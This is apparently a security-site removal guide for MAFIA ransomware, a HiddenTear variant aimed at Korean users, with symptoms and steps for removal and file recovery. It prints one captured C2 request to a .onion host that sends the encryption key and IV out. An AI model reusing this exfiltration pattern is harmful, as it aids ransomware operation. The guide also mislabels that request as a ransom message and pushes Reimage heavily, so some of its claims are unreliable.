Severity scale:  
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Mafia ransomware. How to remove? (Uninstall guide)

removal by Gabriel E. Hall - - | Type: Ransomware

MAFIA ransomware – a fraudulent cryptovirus using the AppCheck service to target Korean users

MAFIA ransomware
MAFIA virus - a serious cyber threat which adds the .MAFIA appendix to each corrupted file.

MAFIA virus is a unique variant of the HiddenTear type ransomware which infiltrates the system as the winlogin.exe process. According to research, this type of ransomware is targeted towards Korean users as it uses their language in its ransom notes. Once installed, the sneaky cyber threat stops a service called AppCheck and several databases processes to be able to perform file encryption. Corrupted documents are locked with the help of AES-256 excryption algorithm and then marked by using the .MAFIA file extension. After that, a ransom message called Information.html is displayed. Virus developers are using a Tor proxy for C2 communication.

Name MAFIA
Type Ransomware
Dangers Data and money loss
Related to HiddenTear
Process  winlogin.exe
Service used AppCheck
Extension .MAFIA file extension
Ransom note Information.html
Communication A Tor proxy for C2 communication is used
Target Korean-speaking people
Elimination Use Reimage to get rid of the dangerous cyber threat

It is known that the criminals hiding behind this virus are displaying such a message to victims' computers:

GET /mafiaEgnima.php?iv=0x9e0x4b0x410x5c0x480x3a0xf40x90x2f0xfa0x960xb90x9b0x830xd40xb7&key=0xb90x1e0x600x3d0xef0x6c0xe60x930x6d0xab0x420x7b0x50x350xf00xcd0x3c0x490xc30x5f0xa10xe0xda0x270x5d0xd50xd10xa40xc0x9f0x340x79&seq=cbdf395c9281ae2ec52a306b5c29ec5 HTTP/1.1
Host: wibkilmskir4rlxz.onion.pet
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36

MAFIA ransomware uses a unique encryption algorithm to lock important users' files. This algorithm is called AES-256[1] and is considered one of the most popular file encryption algorithm. As all keys that are generated when using this algorithm are stored on remote servers and kept in reach only for their owners, so the decryption code is impossible to discover or guess. Unfortunately, Mafia ransomware removal does not help you to unlock encrypted data. For that, you should rely on your files' backups or follow our data recovery steps.

As soon as you get infected with this cryptovirus, you spot the following symptoms:

  • Files have the .MAFIA extension appended and cannot be opened;
  • A ransom note named Information.html shows on the PC screen;
  • The hazardous file called winlogin.exe is running in system's background.

Some good news is that this virus uses OpenSSL[2] for files' encryption which slows down the entire process. This means that you can try to interrupt the hazardous activity of the ransomware by turning off your computer or stopping the winlogin.exe process. However, if you do not make this on time, the infection takes over the whole system. If you are in such a state at this time, you need to remove MAFIA ransomware without any hesitation. We recommend using professional anti-malware tools e.g. Reimage.

In addition, we want to advise you to keep your data safe from other possible attacks in the future. To prevent data corruption, keep extra copies of your valuable data (documents, business files, reports, photos, videos, art) stored on an external hard drive, cloud, even a CD. In this case, even if you happen to get infected with this malware and find your data encrypted, data copies which are kept on the external devices will remain untouched.

The main method used by ransomware to get into the system is spam

According to malware researchers form Ioys.gr[3], ransomware-type infections are most likely to enter the computer system thru a phishing message. Cybercrooks drop numerous spam emails to victims which include a hazardous attachment or link inserted. However, it is easy to get tricked by such message as it might look like:

  • Report;
  • Invoice;
  • Various statements;
  • Software updates;
  • etc.

Our advice would be to eliminate all phishing emails you receive if you are not waiting for anything important at the moment. This is a way to prevent a serious ransomware infection.

Another recommendation for you is to install antivirus protection if you do not already have one running on your computer. Although in some cases the ransomware might interrupt the activity of the anti-malware program, it still is a good option for detecting various cyber threats that might enter the system unnoticed.

Use professional tools for the elimination of MAFIA ransomware

You need to remove MAFIA virus from your computer as soon as you detect it to avoid further possible damage. Manual elimination, in this case, is not possible as the cyber threat is too dangerous itself and might hide a lot of hazardous components inside the computer system. For such case, you should lean on anti-malware help. We recommend using programs such as Reimage, Malwarebytes MalwarebytesCombo Cleaner, or Plumbytes Anti-MalwareMalwarebytes Malwarebytes.

After you perform the MAFIA ransomware removal, make sure you complete one more step. IT experts strongly advise doing some system backups and checking the entire computer in case some virus-related components are still hiding.

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What to do if failed?
If you failed to remove virus damage using Reimage, submit a question to our support team and provide as much details as possible.
Reimage is recommended to remove virus damage. Free scanner allows you to check whether your PC is infected or not. If you need to remove malware, you have to purchase the licensed version of Reimage malware removal tool.
Alternative Software
Different security software includes different virus database. If you didn’t succeed in finding malware with Reimage, try running alternative scan with Malwarebytes.
Alternative Software
Different security software includes different virus database. If you didn’t succeed in finding malware with Reimage, try running alternative scan with Combo Cleaner.

To remove Mafia virus, follow these steps:

Remove Mafia using Safe Mode with Networking

Reboot your PC to Safe Mode with Networking to disable the virus:

  • Step 1: Reboot your computer to Safe Mode with Networking

    Windows 7 / Vista / XP
    1. Click Start Shutdown Restart OK.
    2. When your computer becomes active, start pressing F8 multiple times until you see the Advanced Boot Options window.
    3. Select Safe Mode with Networking from the list Select 'Safe Mode with Networking'

    Windows 10 / Windows 8
    1. Press the Power button at the Windows login screen. Now press and hold Shift, which is on your keyboard, and click Restart..
    2. Now select Troubleshoot Advanced options Startup Settings and finally press Restart.
    3. Once your computer becomes active, select Enable Safe Mode with Networking in Startup Settings window. Select 'Enable Safe Mode with Networking'
  • Step 2: Remove Mafia

    Log in to your infected account and start the browser. Download Reimage or other legitimate anti-spyware program. Update it before a full system scan and remove malicious files that belong to your ransomware and complete Mafia removal.

If your ransomware is blocking Safe Mode with Networking, try further method.

Remove Mafia using System Restore

Turn on the System Restore function to launch anti-virus and get rid of infected files:

  • Step 1: Reboot your computer to Safe Mode with Command Prompt

    Windows 7 / Vista / XP
    1. Click Start Shutdown Restart OK.
    2. When your computer becomes active, start pressing F8 multiple times until you see the Advanced Boot Options window.
    3. Select Command Prompt from the list Select 'Safe Mode with Command Prompt'

    Windows 10 / Windows 8
    1. Press the Power button at the Windows login screen. Now press and hold Shift, which is on your keyboard, and click Restart..
    2. Now select Troubleshoot Advanced options Startup Settings and finally press Restart.
    3. Once your computer becomes active, select Enable Safe Mode with Command Prompt in Startup Settings window. Select 'Enable Safe Mode with Command Prompt'
  • Step 2: Restore your system files and settings
    1. Once the Command Prompt window shows up, enter cd restore and click Enter. Enter 'cd restore' without quotes and press 'Enter'
    2. Now type rstrui.exe and press Enter again.. Enter 'rstrui.exe' without quotes and press 'Enter'
    3. When a new window shows up, click Next and select your restore point that is prior the infiltration of Mafia. After doing that, click Next. When 'System Restore' window shows up, select 'Next' Select your restore point and click 'Next'
    4. Now click Yes to start system restore. Click 'Yes' and start system restore
    Once you restore your system to a previous date, download and scan your computer with Reimage and make sure that Mafia removal is performed successfully.

Bonus: Recover your data

Guide which is presented above is supposed to help you remove Mafia from your computer. To recover your encrypted files, we recommend using a detailed guide prepared by 2-spyware.com security experts.

If you want to restore important files back, choose from the following methods. They might be helpful if you follow the instructions carefully.

If your files are encrypted by Mafia, you can use several methods to restore them:

Use Data Recovery Pro for file restoring:

Read thru the instructions carefully, if performed as required, this method might let you recover corrupted documents and bring them back to their starter positions.

  • Download Data Recovery Pro;
  • Follow the steps of Data Recovery Setup and install the program on your computer;
  • Launch it and scan your computer for files encrypted by Mafia ransomware;
  • Restore them.

Try Windows Previous Versions feature for data recovery:

This method might work only if you have enabled the System Restore function before the cyber attack managed to spread on your computer.

  • Find an encrypted file you need to restore and right-click on it;
  • Select “Properties” and go to “Previous versions” tab;
  • Here, check each of available copies of the file in “Folder versions”. You should select the version you want to recover and click “Restore”.

Shadow Explorer might be helpful:

You can try this method by following the given instructions. However, you need to know that it will work only if the virus did not manage to destroy files' Shadow Volume Copies.

  • Download Shadow Explorer (http://shadowexplorer.com/);
  • Follow a Shadow Explorer Setup Wizard and install this application on your computer;
  • Launch the program and go through the drop down menu on the top left corner to select the disk of your encrypted data. Check what folders are there;
  • Right-click on the folder you want to restore and select “Export”. You can also select where you want it to be stored.

The official MAFIA ransomware decrypter hasn't been released yet.

Finally, you should always think about the protection of crypto-ransomwares. In order to protect your computer from Mafia and other ransomwares, use a reputable anti-spyware, such as Reimage, Malwarebytes MalwarebytesCombo Cleaner or Plumbytes Anti-MalwareMalwarebytes Malwarebytes

About the author

Gabriel E. Hall
Gabriel E. Hall - Passionate web researcher

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References